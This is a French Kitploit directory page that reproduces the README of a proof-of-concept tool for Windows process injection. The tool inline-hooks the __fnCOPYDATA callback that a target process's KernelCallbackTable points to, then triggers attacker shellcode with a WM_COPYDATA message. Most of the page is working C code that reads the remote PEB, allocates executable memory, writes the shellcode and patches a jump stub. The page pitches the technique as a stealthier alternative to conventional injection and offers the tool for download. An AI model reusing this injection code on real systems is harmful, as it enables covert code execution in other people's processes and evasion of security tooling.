Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
win32k-callback-detouring — Abuser du mécanisme de rappel du noyau win32k.sys pour exécuter du code arbitraire | Kitploit
Outils/GitHubGitHub/n0qword/win32k-callback-detouring
ExploitationShellcodePost-ExploitationApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

Abuser du mécanisme de rappel du noyau win32k.sys pour exécuter du code arbitraire

Voir le dépôt
10812il y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Avertissement

Ce dépôt est fourni strictement à des fins éducatives et de recherche défensive.

Il illustre les mécanismes internes de distribution des callbacks de Windows et les concepts de flux de contrôle liés à KernelCallbackTable dans un contexte de preuve de concept.

  • Non destiné à une utilisation non autorisée
  • Non conçu pour un déploiement opérationnel
  • Aucune considération de furtivité/opsec
  • À utiliser uniquement dans des environnements de laboratoire contrôlés que vous possédez ou que vous êtes autorisé à tester

L'auteur décline toute responsabilité en cas de mauvaise utilisation.


Détournement de callback Win32k : Abus de la distribution légitime des callbacks noyau-vers-utilisateur pour l'exécution de code

Vue d'ensemble

Cette technique d'injection abuse du chemin de distribution des callbacks du noyau vers l'utilisateur utilisé par le sous-système graphique de Windows (win32k.sys) pour obtenir l'exécution de code dans un processus distant. En localisant la KernelCallbackTabledans leProcess Environment Block (PEB)`, un opérateur peut énumérer les entrées de callbacks et identifier les routines légitimes en mode utilisateur invoquées lors des transitions noyau liées à l'interface graphique.

Plutôt que d'effectuer une injection par KernelCallbackTable traditionnelle, où une entrée de callback est directement écrasée avec l'adresse du shellcode, cette variante hooke la cible de callback légitime référencée par la table et redirige l'exécution vers un shellcode contrôlé par l'attaquant lors de l'invocation. Comme l'exécution est détournée via un chemin de callback existant et attendu, la technique peut constituer une alternative plus furtive aux primitives plus conventionnelles telles que la création de thread distant ou l'injection par APC.


Comprendre le mécanisme

Flux de distribution des callbacks Windows

Le sous-système graphique de Windows délègue une partie du traitement lié à l'interface graphique au mode utilisateur via un mécanisme de callback initié depuis le mode noyau. Lorsque win32k.sys a besoin d'exécuter une logique dans le contexte d'un processus GUI, il invoque KeUserModeCallback pour effectuer une transition contrôlée du mode noyau vers le mode utilisateur tout en préservant la frontière d'isolation entre les deux contextes d'exécution.

Cette transition établit le chemin d'exécution légitime par lequel le noyau distribue les callbacks du sous-système graphique en mode utilisateur — le même chemin ensuite abusé par la technique présentée.


KiUserCallbackDispatcher

Une fois la transition terminée, l'exécution entre dans KiUserCallbackDispatcher, une routine de ntdll.dll chargée de recevoir l'index de callback fourni par le noyau et de distribuer l'exécution au gestionnaire de callback en mode utilisateur correspondant. Cette routine sert de point d'entrée obligatoire pour tous les callbacks initiés via KeUserModeCallback.

Parce que toute la résolution des callbacks converge vers ce dispatcher, KiUserCallbackDispatcher agit comme le pivot central entre les requêtes de callback du noyau et leur exécution finale en mode utilisateur.


Chemin de résolution de KernelCallbackTable

Pour résoudre la destination d'un callback demandé, KiUserCallbackDispatcher consulte la KernelCallbackTable stockée dans le PEB du processus cible. Chaque entrée de la table contient un pointeur vers une routine de callback en mode utilisateur associée à une opération spécifique du sous-système graphique, généralement implémentée dans user32.dll.

Les techniques traditionnelles d'injection par KernelCallbackTable écrasent directement une ou plusieurs de ces entrées pour rediriger l'exécution. Bien qu'efficaces, la modification de la table elle-même introduit des anomalies structurelles qui peuvent être trivialement détectées par la validation d'intégrité du PEB ou du contenu de la table de callbacks. La technique présentée évite cela en préservant la structure de la table et en détournant plutôt la cible de callback référencée par l'entrée.


Utiliser __fnCOPYDATA comme primitive d'exécution

Parmi les entrées disponibles de la KernelCallbackTable, __fnCOPYDATA constitue une primitive de déclenchement particulièrement pratique car elle peut être invoquée de l'extérieur en envoyant un message WM_COPYDATA via SendMessage(). Cela permet de déclencher le callback de manière déterministe sans nécessiter un état inhabituel du processus ni une interaction complexe.

En exploitant une cible de callback naturellement accessible et fréquemment utilisée, la technique obtient une primitive d'exécution fiable tout en restant entièrement dans la chaîne de distribution de callbacks attendue avant la redirection.


kcallbackflow


Comment ça fonctionne

La technique commence par localiser le processus cible et lire son PEB pour récupérer l'adresse de la KernelCallbackTable, à partir de laquelle le pointeur de callback pour __fnCOPYDATA est résolu. Une mémoire exécutable est ensuite allouée dans le processus distant, et un shellcode contrôlé par l'attaquant est écrit dans la région allouée. Avant la modification, les octets d'origine de la routine de callback légitime sont préservés pour permettre une restauration ultérieure.

Un hook inline est ensuite installé au début de la routine __fnCOPYDATA résolue, remplaçant son prologue par un saut absolu vers le shellcode injecté. Pour déclencher l'exécution, un message WM_COPYDATA est envoyé à la fenêtre cible, ce qui amène le sous-système graphique de Windows à distribuer __fnCOPYDATA via la chaîne standard de callbacks du noyau vers l'utilisateur. Une fois l'exécution terminée, les octets d'origine du callback sont restaurés pour préserver la stabilité du processus et réduire les artefacts de modification résiduels.


Implémentation

Étape 1 : Obtenir le PEB du processus distant et KernelCallbackTable

La KernelCallbackTable est située à l'offset 0x58 dans le PEB :

dt_peb

La logique suivante est utilisée pour l'obtenir :

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

Le code commence par appeler NtQueryInformationProcess avec la classe d'informations ProcessBasicInformation pour remplir une structure PROCESS_BASIC_INFORMATION, qui expose l'adresse du PEB du processus distant via le champ PebBaseAddress.

Ensuite, NtReadVirtualMemory est utilisé pour lire le PEB distant dans une structure PEB locale, permettant d'extraire le pointeur KernelCallbackTable stocké dans l'environnement du processus. Après avoir validé la présence de la table de callbacks, un second appel à NtReadVirtualMemory copie la structure KERNELCALLBACKTABLE distante en mémoire locale, ce qui permet la résolution directe de cibles de callbacks telles que __fnCOPYDATA pour le détournement ultérieur.

kct_callback


Étape 2 : Allouer le shellcode dans le processus distant

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

NtAllocateVirtualMemory réserve une mémoire exécutable dans le processus distant et retourne son adresse de base via remoteShellcodeAddr. La taille de l'allocation est dérivée de la longueur du buffer de shellcode.

NtWriteVirtualMemory copie ensuite le shellcode dans la région allouée, plaçant la charge utile dans le processus cible pour une exécution ultérieure via le détournement de callback.


Étape 3 : Installer le hook inline et déclencher l'exécution

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

InitializeHookRemote prépare la cible de callback distante pour le détournement en stockant l'adresse de la fonction d'origine et celle du detour dans la structure INLINEHOOKTABLE. Elle préserve le prologue original du callback en lisant les premiers octets de la routine cible avec NtReadVirtualMemory, puis change la protection de cette région en PAGE_EXECUTE_READWRITE à l'aide de NtProtectVirtualMemory afin qu'elle puisse être patchée en toute sécurité.

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

InstallHookRemote construit un stub de saut absolu x64 (mov r10, <detour>; jmp r10) qui redirige l'exécution vers le shellcode injecté. Le stub de saut est ensuite écrit au début de la routine de callback cible via NtWriteVirtualMemory, installant ainsi le hook inline.

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

RemoveHookRemote restaure la routine de callback d'origine en réécrivant les octets du prologue préservés dans la structure INLINEHOOKTABLE. Elle rétablit ensuite les attributs de protection mémoire d'origine de la région patchée à l'aide de NtProtectVirtualMemory, supprimant le hook inline et ramenant la cible de callback à son état initial.

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

Pour déclencher l'exécution, un message WM_COPYDATA est envoyé à la fenêtre cible via SendMessageW, forçant le dispatcher de callbacks de Windows à invoquer la routine __fnCOPYDATA hookée via le chemin normal de callbacks du noyau vers l'utilisateur. Une fois l'exécution terminée, RemoveHookRemote restaure les octets d'origine du callback pour préserver la stabilité du processus.


Exécution

Une fois la logique implémentée, la preuve de concept peut être exécutée pour produire le résultat suivant :

fin_exec

Télécharger l’outil